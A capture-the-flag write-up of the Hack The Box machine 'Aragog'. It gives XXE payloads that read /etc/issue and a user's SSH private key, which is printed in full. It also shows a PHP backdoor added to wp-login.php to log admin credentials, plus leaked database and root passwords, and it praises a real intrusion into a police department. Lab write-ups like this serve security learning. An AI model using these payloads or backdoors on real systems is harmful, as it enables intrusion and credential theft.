Introduction
Enumeration
Initial Scanning
Like with every hack the box machine lets begin with an nmap scan against aragog (10.10.10.78)
# Nmap 7.70 scan initiated Sat May 12 19:49:54 2018 as: nmap -T4 -sC -A -n -v -p- -oA inital_scan 10.10.10.78
Increasing send delay for 10.10.10.78 from 0 to 5 due to 883 out of 2206 dropped probes since last increase.
Nmap scan report for 10.10.10.78
Host is up (0.14s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-r--r--r-- 1 ftp ftp 86 Dec 21 16:30 test.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.14.83
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ad:21:fb:50:16:d4:93:dc:b7:29:1f:4c:c2:61:16:48 (RSA)
| 256 2c:94:00:3c:57:2f:c2:49:77:24:aa:22:6a:43:7d:b1 (ECDSA)
|_ 256 9a:ff:8b:e4:0e:98:70:52:29:68:0e:cc:a0:7d:5c:1f (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.70%E=4%D=5/12%OT=21%CT=1%CU=40756%PV=Y%DS=2%DC=T%G=Y%TM=5AF7814
OS:D%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10D%TI=Z%CI=I%II=I%TS=A)OPS
OS:(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST1
OS:1NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN
OS:(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)
Uptime guess: 17.011 days (since Wed Apr 25 19:49:01 2018)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=264 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 53/tcp)
HOP RTT ADDRESS
1 144.05 ms 10.10.14.1
2 144.26 ms 10.10.10.78
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat May 12 20:05:33 2018 -- 1 IP address (1 host up) scanned in 939.01 seconds
From our scan we can see that we have three services available for us to explore. FTP on port 21 which has anonymous login enabled, ssh on 22, and a webserver on port 80.
Enumerating FTP (test.txt)
Lets connect to the ftp server with the anonymous user.
root@dastinia:~/htb/aragog# ftp 10.10.10.78
Connected to 10.10.10.78.
220 (vsFTPd 3.0.3)
Name (10.10.10.78:root): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-r--r--r-- 1 ftp ftp 86 Dec 21 2017 test.txt
226 Directory send OK.
We see there is a single file called test.txt
ftp> get test.txt
local: test.txt remote: test.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for test.txt (86 bytes).
226 Transfer complete.
86 bytes received in 0.00 secs (53.2220 kB/s)
ftp> quit
221 Goodbye.
Looking at the test.txt file we see some data related to a subnet_mask, which looks like it might be XML formatted data…
root@dastinia:~/htb/aragog# cat test.txt
<details>
<subnet_mask>255.255.255.192</subnet_mask>
<test></test>
</details>
Enumerating Port 80
Upon visiting the server on port 80 you are shown the default apache page.
Running gobuster
against the site reveals that the page hosts. php` is available.
root@dastinia:~/htb/aragog# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.78 -x php,html -s 200,204,301,302,307,403 -t 100 | tee gobuster_aragog
Gobuster v1.2 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://10.10.10.78/
[+] Threads : 100
[+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 204,301,302,307,403,200
[+] Extensions : .php,.html
=====================================================
/index.html (Status: 200)
/hosts.php (Status: 200)
Visiting hosts.php
you see the following landing page…
The page states that: There are 4294967294 possible hosts for
.
Looking backwards, let’s take a took at test.txt
test.txt
states that our subnet mask is 255.255.255.192
, we attempt to do the calculation but realize that we can’t do subnet math in our head! Oh my, we should have paid more attention in intro to networking college! We quickly go back to school and rack up an additional 90,000 USD of student loan debt and we realize that 255.255.255.192
is a /26 which has a maximum of 62 usable hosts per network with 4 possible networks available which means (62 * 4 ) = 248 total possible hosts for the test.txt subnet.
With our near almost complete accredited university enducation education, we that 4294967294
does not equal 248
. With our new found knowledge we attempt to send a POST
request with the data provided by test.txt
in the body of the request.
We see the application react in the following manner….
Interesting, the application reacted just as expected. Let’s attempt a simple XXE injection since we know the application is parsing our input from the requests due to the change in response, and the data is likely XML formatted.
Our payload:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:////etc/issue" >]>
<details>
<subnet_mask>&xxe;</subnet_mask>
<test></test>
</details>
Success.
Exploitation
Reading florian’s ssh private key
Since we are able to read files on system, we can potentially read sensitive files on the box. By reading the contents of /etc/passwd
we know that florian
and cliff
are users on this box & their login shells are set to /bin/bash/
We attempt the user.txt
file for both users, and you discover that’ florian’s user is the user we are going after.
We know that ssh is an available service on the box, so let see if florian has an ssh private key for his user.
xml payload
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:////home/florian/.ssh/id_rsa" >]>
<details>
<subnet_mask>&xxe;</subnet_mask>
<test></test>
</details>
Florian ssh_private key
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA50DQtmOP78gLZkBjJ/JcC5gmsI21+tPH3wjvLAHaFMmf7j4d
+YQEMbEg+yjj6/ybxJAsF8l2kUhfk56LdpmC3mf/sO4romp9ONkl9R4cu5OB5ef8
lAjOg67dxWIo77STqYZrWUVnQ4n8dKG4Tb/z67+gT0R9lD9c0PhZwRsFQj8aKFFn
1R1B8n9/e1PB0AJ81PPxCc3RpVJdwbq8BLZrVXKNsg+SBUdbBZc3rBC81Kle2CB+
Ix89HQ3deBCL3EpRXoYVQZ4EuCsDo7UlC8YSoEBgVx4IgQCWx34tXCme5cJa/UJd
d4Lkst4w4sptYMHzzshmUDrkrDJDq6olL4FyKwIDAQABAoIBAAxwMwmsX0CRbPOK
AQtUANlqzKHwbVpZa8W2UE74poc5tQ12b9xM2oDluxVnRKMbyjEPZB+/aU41K1bg
TzYI2b4mr90PYm9w9N1K6Ly/auI38+Ouz6oSszDoBeuo9PS3rL2QilOZ5Qz/7gFD
9YrRCUij3PaGg46mvdJLmWBGmMjQS+ZJ7w1ouqsIANypMay2t45v2Ak+SDhl/SDb
/oBJFfnOpXNtQfJZZknOGY3SlCWHTgMCyYJtjMCW2Sh2wxiQSBC8C3p1iKWgyaSV
0qH/3gt7RXd1F3vdvACeuMmjjjARd+LNfsaiu714meDiwif27Knqun4NQ+2x8JA1
sWmBdcECgYEA836Z4ocK0GM7akW09wC7PkvjAweILyq4izvYZg+88Rei0k411lTV
Uahyd7ojN6McSd6foNeRjmqckrKOmCq2hVOXYIWCGxRIIj5WflyynPGhDdMCQtIH
zCr9VrMFc7WCCD+C7nw2YzTrvYByns/Cv+uHRBLe3S4k0KNiUCWmuYsCgYEA8yFE
rV5bD+XI/iOtlUrbKPRyuFVUtPLZ6UPuunLKG4wgsGsiVITYiRhEiHdBjHK8GmYE
tkfFzslrt+cjbWNVcJuXeA6b8Pala7fDp8lBymi8KGnsWlkdQh/5Ew7KRcvWS5q3
HML6ac06Ur2V0ylt1hGh/A4r4YNKgejQ1CcO/eECgYEAk02wjKEDgsO1avoWmyL/
I5XHFMsWsOoYUGr44+17cSLKZo3X9fzGPCs6bIHX0k3DzFB4o1YmAVEvvXN13kpg
ttG2DzdVWUpwxP6PVsx/ZYCr3PAdOw1SmEodjriogLJ6osDBVcMhJ+0Y/EBblwW7
HF3BLAZ6erXyoaFl1XShozcCgYBuS+JfEBYZkTHscP0XZD0mSDce/r8N07odw46y
kM61To2p2wBY/WdKUnMMwaU/9PD2vN9YXhkTpXazmC0PO+gPzNYbRe1ilFIZGuWs
4XVyQK9TWjI6DoFidSTGi4ghv8Y4yDhX2PBHPS4/SPiGMh485gTpVvh7Ntd/NcI+
7HU1oQKBgQCzVl/pMQDI2pKVBlM6egi70ab6+Bsg2U20fcgzc2Mfsl0Ib5T7PzQ3
daPxRgjh3CttZYdyuTK3wxv1n5FauSngLljrKYXb7xQfzMyO0C7bE5Rj8SBaXoqv
uMQ76WKnl3DkzGREM4fUgoFnGp8fNEZl5ioXfxPiH/Xl5nStkQ0rTA==
-----END RSA PRIVATE KEY-----
Lets see if we can login with the key
root@dastinia:~/htb/aragog# ssh -i florian_id_rsa florian@10.10.10.78
Last login: Sat Jul 21 05:52:00 2018 from 10.10.14.188
florian@aragog:~$ id
uid=1000(florian) gid=1000(florian) groups=1000(florian)
Look’s like the login was successful. Let’s take a peak at hosts.php
real quick
florian@aragog:/var/www/html$ cat hosts.php
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$details = simplexml_import_dom($dom);
$mask = $details->subnet_mask;
//echo "\r\nYou have provided subnet $mask\r\n";
$max_bits = '32';
$cidr = mask2cidr($mask);
$bits = $max_bits - $cidr;
$hosts = pow(2,$bits);
echo "\r\nThere are " . ($hosts - 2) . " possible hosts for $mask\r\n\r\n";
function mask2cidr($mask){
$long = ip2long($mask);
$base = ip2long('255.255.255.255');
return 32-log(($long ^ $base)+1,2);
}
?>
Privilege Escalation
Discovering dev_wiki wordpress site
Interesting we see additional content is being served up in our var/www/html
directory.
florian@aragog:/var/www/html$ ls -la
total 68
drwxrwxrwx 4 www-data www-data 4096 Jul 21 05:55 .
drwxr-xr-x 3 root root 4096 Dec 18 2017 ..
drwxrwxrwx 5 cliff cliff 4096 Jul 21 05:55 dev_wiki
-rw-r--r-- 1 www-data www-data 689 Dec 21 2017 hosts.php
-rw-r--r-- 1 www-data www-data 11321 Dec 18 2017 index.html
-rw-r--r-- 1 florian florian 36650 Jul 21 05:55 wp-login.php
drw-r--r-- 5 cliff cliff 4096 Dec 20 2017 zz_backup
Inspecting the contents of the dev_wiki
directory, we see that it’s a WordPress blog. Additionally it seems that we have full control over the dev_wiki
directory. Let see if we can visit the dev_wiki
WordPress site in our browser.
But before we do that we need to add aragog as an entry in our /etc/hosts
file first.
echo "10.10.10.78 aragog" >> /etc/hosts
Looking at the blog we see that there’s only one post. Stating that cliff will be logging in regularly.
Lets see what the username/password of the mysql database is…
florian@aragog:/var/www/html/dev_wiki$ cat wp-config.php
<?php
...[snip]...
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wp_wiki');
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', '$@y6CHJ^$#5c37j$#6h');
/** MySQL hostname */
define('DB_HOST', 'localhost');
Let’s have a look at the wordpress database & see if we can discover any WP user passwords we can crack.
florian@aragog:/var/www/html/dev_wiki$ mysql -u root -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 55
Server version: 5.7.20-0ubuntu0.16.04.1 (Ubuntu)
Copyright (c) 2000, 2017, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| sys |
| wp_wiki |
+--------------------+
5 rows in set (0.03 sec)
mysql> use wp_wiki;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
+-----------------------+
| Tables_in_wp_wiki |
+-----------------------+
| wp_commentmeta |
| wp_comments |
| wp_links |
| wp_options |
| wp_postmeta |
| wp_posts |
| wp_term_relationships |
| wp_term_taxonomy |
| wp_termmeta |
| wp_terms |
| wp_usermeta |
| wp_users |
+-----------------------+
12 rows in set (0.01 sec)
mysql> select * from wp_users;
+----+---------------+------------------------------------+---------------+-----------------+----------+---------------------+---------------------+-------------+---------------+
| ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name |
+----+---------------+------------------------------------+---------------+-----------------+----------+---------------------+---------------------+-------------+---------------+
| 1 | Administrator | $P$B3FUuIdSDW0IaIc4vsjj.NzJDkiscu. | administrator | it@megacorp.com | | 2017-12-20 23:26:04 | | 0 | Administrator |
+----+---------------+------------------------------------+---------------+-----------------+----------+---------------------+---------------------+-------------+---------------+
1 row in set (0.01 sec)
mysql>
We attempt to crack the hash with john the ripper & the rockyou wordlist but was unsuccessful so likely this is unrelated.
Performing process monitoring with pspy
While doing your enumeration you would notice that the dev_wiki
directory was getting deleted constantly on every few minutes or so. To get a better idea of whats going on we can try to monitor the running processes on the box.
Hack the box Member 0b5cur17y created a fantastic tool called pspy. It’s very common for HTB machines to require to guess random crontab stuff or find parameters/process commandlines. If you view the original thread you will understand what I mean.
using pspy to discover wp-login.py
florian@aragog:/tmp/.ps$ wget -q http://10.10.15.207:7777/pspy64
florian@aragog:/tmp/.ps$ chmod +x pspy64
florian@aragog:/tmp/.ps$ ./pspy64
After some time we see that there is a cronjob that is constantly deleting the dev_wiki folder & replacing it with the backup folder… & a script wp-login.py
is ran shortly after that process happens.
2018/07/21 06:35:01 CMD: UID=1001 PID=3870 | /bin/sh -c /usr/bin/python /home/cliff/wp-login.py
2018/07/21 06:35:01 CMD: UID=0 PID=3869 | /usr/sbin/CRON -f
2018/07/21 06:35:01 CMD: UID=1001 PID=3868 | /bin/sh -c /usr/bin/python /home/cliff/wp-login.py
2018/07/21 06:35:01 CMD: UID=0 PID=3867 | /usr/sbin/CRON -f
2018/07/21 06:35:01 CMD: UID=0 PID=3866 | /usr/sbin/CRON -f
2018/07/21 06:35:01 CMD: UID=0 PID=3872 | rm -rf /var/www/html/dev_wiki/
2018/07/21 06:35:01 CMD: UID=0 PID=3871 | /bin/bash /root/restore.sh
2018/07/21 06:35:01 CMD: UID=0 PID=3873 | cp -R /var/www/html/zz_backup/ /var/www/html/dev_wiki/
2018/07/21 06:35:01 CMD: UID=1001 PID=3875 |
2018/07/21 06:35:01 CMD: UID=1001 PID=3874 | sh -c LC_ALL=C LANG=C /sbin/ldconfig -p 2>/dev/null
2018/07/21 06:35:01 CMD: UID=0 PID=3878 | chown -R cliff:cliff /var/www/html/dev_wiki/
2018/07/21 06:35:01 CMD: UID=0 PID=3879 | chmod -R 777 /var/www/html/dev_wiki/
If you google wp-login.py
and we find the following Github Gist of wp-login.py
Remember that blog post? “I’ll be logging in regularly”
Backdooring Wordpress to Log Requests & Getting Root
So there’s a few possible ways we can try to accomplish this. Backdoor wp-login.php
to send a request to our server with the login details or have wordpress log the post requeset to a file. We can also modify the wp-includes\user.php
login function hook to log the username & password to a file.
This part was a bit troubling since there were a few ways to accomplish this task, and depending on which path you took. I consulted with some other HTB members & a good chunk of them went the wp-login.php
route which I felt like was much harder.
There’s a few good examples of how to “Backdoor Wordpress”, but I think the best example I’ve ever seen of backdooring a wordpress site was when phineas fisher hacked the catalan police department. It was very simple, clean, and pretty discrete. I honestly think this dude is a legend, and he recorded how he did it & posted it on the internet for people to learn. Some fantastic learning can be done from the video of the hack he did, I highly recommend watching it in full. (Also an obglitatory #hackback)
Video Phineas Fisher Hacks Catalan Police Department stop watching at: 30:01.
backdoor php code
file_put_contents("wp-includes/.m.php","WP :" . $_POST['log']
. " : " . $_POST['pwd'] . "\n", FILE_APPEND);
We run some tests & we see that our backdoor works. After some time you see the cleartext login credentials for the administrator account in our log.
florian@aragog:/var/www/html/dev_wiki/wp-includes$ cat .m.php
WP :tsst : test
WP :Administrator : !KRgYs(JFO!&MTr)lf
WP :medic : medic
getting root
florian@aragog:/var/www/html/dev_wiki/wp-includes$ su root
Password:
root@aragog:/var/www/html/dev_wiki/wp-includes# id
uid=0(root) gid=0(root) groups=0(root)
root@aragog:/var/www/html/dev_wiki/wp-includes#
root@aragog:/var/www/html/dev_wiki/wp-includes# cat /root/root.txt
9a9da5.....
Lets take a peak at restore.sh
& wp-login.py
restore.sh
root@aragog:~# cat restore.sh
rm -rf /var/www/html/dev_wiki/
cp -R /var/www/html/zz_backup/ /var/www/html/dev_wiki/
chown -R cliff:cliff /var/www/html/dev_wiki/
chmod -R 777 /var/www/html/dev_wiki/
wp-login.py
root@aragog:/home/cliff# cat wp-login.py
import requests
wp_login = 'http://127.0.0.1/dev_wiki/wp-login.php'
wp_admin = 'http://127.0.0.1/dev_wiki/wp-admin/'
username = 'Administrator'
password = '!KRgYs(JFO!&MTr)lf'
with requests.Session() as s:
headers1 = { 'Cookie':'wordpress_test_cookie=WP Cookie check' }
datas={
'log':username, 'pwd':password, 'wp-submit':'Log In',
'redirect_to':wp_admin, 'testcookie':'1'
}
s.post(wp_login, headers=headers1, data=datas)
resp = s.get(wp_admin)
print(resp.text)
That’s all for now folks.